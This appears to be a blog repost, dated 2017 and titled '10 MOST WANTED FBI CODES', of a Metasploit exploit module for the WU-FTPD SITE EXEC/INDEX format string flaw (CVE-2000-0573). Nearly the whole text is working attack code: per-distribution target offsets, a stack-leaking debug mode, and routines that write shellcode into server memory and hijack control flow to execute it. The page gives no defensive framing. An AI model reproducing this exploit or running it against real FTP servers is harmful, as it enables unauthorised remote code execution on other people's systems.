## | |
# This module requires Metasploit: http://metasploit.com/download | |
# Current source: https://github.com/rapid7/metasploit-framework | |
## | |
class MetasploitModule < Msf::Exploit::Remote | |
Rank = GreatRanking | |
include Msf::Exploit::Remote::Ftp | |
include Msf::Exploit::FormatString | |
def initialize(info = {}) | |
super(update_info(info, | |
'Name' => 'WU-FTPD SITE EXEC/INDEX Format String Vulnerability', | |
'Description' => %q{ | |
This module exploits a format string vulnerability in versions of the | |
Washington University FTP server older than 2.6.1. By executing | |
specially crafted SITE EXEC or SITE INDEX commands containing format | |
specifiers, an attacker can corrupt memory and execute arbitrary code. | |
}, | |
'Author' => [ 'jduck' ], | |
'References' => | |
[ | |
['CVE', '2000-0573'], | |
['OSVDB', '11805'], | |
['BID', '1387'] | |
], | |
'DefaultOptions' => | |
{ | |
'EXITFUNC' => 'process', | |
'PrependChrootBreak' => true | |
}, | |
'Privileged' => true, | |
'Payload' => | |
{ | |
# format string max length | |
'Space' => 256, | |
# NOTE: \xff's need to be doubled (per ftp/telnet stuff) | |
'BadChars' => "\x00\x09\x0a\x0d\x20\x25\x2f", | |
'DisableNops' => 'True', | |
'StackAdjustment' => -1500 | |
}, | |
'Platform' => [ 'linux' ], | |
'Targets' => | |
[ | |
# | |
# Automatic targeting via fingerprinting | |
# | |
[ 'Automatic Targeting', { 'auto' => true } ], | |
# | |
# specific targets | |
# | |
[ 'Slackware 2.1 (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994)', | |
{ | |
'UseDPA' => false, | |
'PadBytes' => 3, | |
'NumPops' => 8, | |
'AddrPops' => 100, | |
'Offset' => -2088, # offset to stack return | |
'Writable' => 0xbfffde26, # stack, avoid badchars | |
'FlowHook' => -1, # auto now... 0xbffff1e4 # stack return addr | |
} | |
], | |
# these aren't exploitable (using built-in, stripped down vsprintf, no %n) | |
#[ 'RedHat 5.2 (Version wu-2.4.2-academ[BETA-18](1) Mon Aug 3 19:17:20 EDT 1998)', | |
#[ 'RedHat 6.0 (Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999)', | |
#[ 'RedHat 6.1 (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999)', | |
[ 'RedHat 6.2 (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000)', | |
{ | |
'UseDPA' => true, | |
'PadBytes' => 2, | |
'NumPops' => 276, | |
'AddrPops' => 2, | |
'Offset' => -17664, # offset to stack return | |
'Writable' => 0x806e726, # bss | |
#'Writable' => 0xbfff0126, # stack, avoid badchars | |
'FlowHook' => -1, # auto now... 0xbfffb028 # stack return addr | |
#'FlowHook' => 0x806e1e0 # GOT of sprintf | |
} | |
], | |
# | |
# this one will detect the parameters automagicly | |
# | |
[ 'Debug', | |
{ | |
'UseDPA' => false, | |
'PadBytes' => 0, | |
'NumPops' => 0, | |
'AddrPops' => -1, | |
'Offset' => -1, | |
'Writable' => 0x41414242, # | |
'FlowHook' => 0x43434545 # | |
} | |
], | |
], | |
'DefaultTarget' => 0, | |
'DisclosureDate' => 'Jun 22 2000')) | |
register_options( | |
[ | |
Opt::RPORT(21), | |
]) | |
end | |
def check | |
# NOTE: We don't care if the login failed here... | |
ret = connect_login | |
# We just want the banner to check against our targets.. | |
vprint_status("FTP Banner: #{banner.strip}") | |
status = Exploit::CheckCode::Safe | |
if banner =~ /Version wu-2\.(4|5)/ | |
status = Exploit::CheckCode::Appears | |
elsif banner =~ /Version wu-2\.6\.0/ | |
status = Exploit::CheckCode::Appears | |
end | |
# If we've made it this far, we care if login succeeded. | |
if (ret) | |
# NOTE: vulnerable and exploitable might not mean the same thing here :) | |
if not fmtstr_detect_vulnerable | |
status = Exploit::CheckCode::Safe | |
end | |
if not fmtstr_detect_exploitable | |
status = Exploit::CheckCode::Safe | |
end | |
end | |
disconnect | |
return status | |
end | |
def exploit | |
if (not connect_login) | |
fail_with(Failure::Unknown, 'Unable to authenticate') | |
end | |
# Use a copy of the target | |
mytarget = target | |
if (target['auto']) | |
mytarget = nil | |
print_status("Automatically detecting the target...") | |
if (banner and (m = banner.match(/\(Version wu-(.*)\) ready/))) then | |
print_status("FTP Banner: #{banner.strip}") | |
version = m[1] | |
else | |
fail_with(Failure::NoTarget, "No matching target") | |
end | |
regexp = Regexp.escape(version) | |
self.targets.each do |t| | |
if (t.name =~ /#{regexp}/) then | |
mytarget = t | |
break | |
end | |
end | |
if (not mytarget) | |
fail_with(Failure::NoTarget, "No matching target") | |
end | |
print_status("Selected Target: #{mytarget.name}") | |
else | |
print_status("Trying target #{mytarget.name}...") | |
if banner | |
print_status("FTP Banner: #{banner.strip}") | |
end | |
end | |
# proceed with chosen target... | |
# detect stuff! | |
if mytarget.name == "Debug" | |
#fmtstr_set_caps(true, true) | |
# dump the stack, so we can detect stuff magically | |
print_status("Dumping the stack...") | |
stack = Array.new | |
extra = "aaaabbbb" | |
1000.times do |x| | |
dw = fmtstr_stack_read(x+1, extra) | |
break if not dw | |
stack << dw | |
end | |
stack_data = stack.pack('V*') | |
print_status("Obtained #{stack.length*4} bytes of stack data:\n" + Rex::Text.to_hex_dump(stack_data)) | |
# detect the number of pad bytes | |
idx = stack_data.index("aaaabbbb") | |
if not idx | |
fail_with(Failure::Unknown, "Whoa, didn't find the static bytes on the stack!") | |
end | |
num_pad = 0 | |
num_pad = 4 - (idx % 4) if (idx % 4) > 0 | |
mytarget.opts['PadBytes'] = num_pad | |
# calculate the number of pops needed to hit our addr | |
num_pops = (idx + num_pad) / 4 | |
mytarget.opts['NumPops'] = num_pops | |
else | |
num_pad = mytarget['PadBytes'] | |
num_pops = mytarget['NumPops'] | |
sc_loc = mytarget['Writable'] | |
ret = mytarget['FlowHook'] | |
end | |
print_status("Number of pad bytes: #{num_pad}") | |
print_status("Number of pops: #{num_pops}") | |
# debugging -> don't try it! | |
return if mytarget.name == "Debug" | |
#print_status("ATTACH!") | |
#select(nil,nil,nil,5) | |
fmtstr_detect_caps | |
# compute the stack return address using the fmt to leak memory | |
addr_pops = mytarget['AddrPops'] | |
offset = mytarget['Offset'] | |
if addr_pops > 0 | |
stackaddr = fmtstr_stack_read(addr_pops) | |
print_status("Read %#x from offset %d" % [stackaddr, addr_pops]) | |
ret = stackaddr + offset | |
end | |
print_status("Writing shellcode to: %#x" % sc_loc) | |
print_status("Hijacking control via %#x" % ret) | |
# no extra bytes before the padding.. | |
num_start = 0 | |
# write shellcode to 'writable' | |
arr = fmtstr_gen_array_from_buf(sc_loc, payload.encoded, mytarget) | |
# process it in groups of 24 (max ~400 bytes per command) | |
sc_num = 1 | |
while arr.length > 0 | |
print_status("Sending part #{sc_num} of the payload...") | |
sc_num += 1 | |
narr = arr.slice!(0..24) | |
fmtbuf = fmtstr_gen_from_array(num_start, narr, mytarget) | |
# a space allows the next part to start with a '/' | |
fmtbuf[num_pad-1,1] = " " | |
fmtbuf.gsub!(/\xff/, "\xff\xff") | |
if ((res = send_cmd(['SITE', 'EXEC', fmtbuf], true))) | |
if res[0,4] == "500 " | |
fail_with(Failure::Unknown, "Something went wrong when uploading the payload...") | |
end | |
end | |
end | |
# write 'writable' addr to flowhook (execute shellcode) | |
# NOTE: the resulting two writes must be done at the same time | |
print_status("Attempting to write %#x to %#x.." % [sc_loc, ret]) | |
fmtbuf = generate_fmt_two_shorts(num_start, ret, sc_loc, mytarget) | |
# a space allows the next part to start with a '/' | |
fmtbuf[num_pad-1,1] = " " | |
fmtbuf.gsub!(/\xff/, "\xff\xff") | |
# don't wait for the response here :) | |
res = send_cmd(['SITE', 'EXEC', fmtbuf], false) | |
print_status("Your payload should have executed now...") | |
handler | |
end | |
# | |
# these two functions are used to read stack memory | |
# (used by fmtstr_stack_read() | |
# | |
def trigger_fmt(fmtstr) | |
return nil if fmtstr.length >= (512 - (4+1 + 4+1 + 2 + 2)) | |
send_cmd(['SITE', 'EXEC', 'x', fmtstr], true) | |
end | |
def extract_fmt_output(res) | |
if (res =~ /^5.. /) | |
#throw "Crap! Something went wrong while dumping the stack..." | |
return nil | |
end | |
ret = res.strip.split(/\r?\n/)[0] | |
ret = ret[6,ret.length] | |
return ret | |
end | |
end https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb |
Wednesday, May 31, 2017
10 MOST WANTED FBI CODES ! metasploit-framework/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb
Subscribe to:
Post Comments (Atom)
No comments:
Post a Comment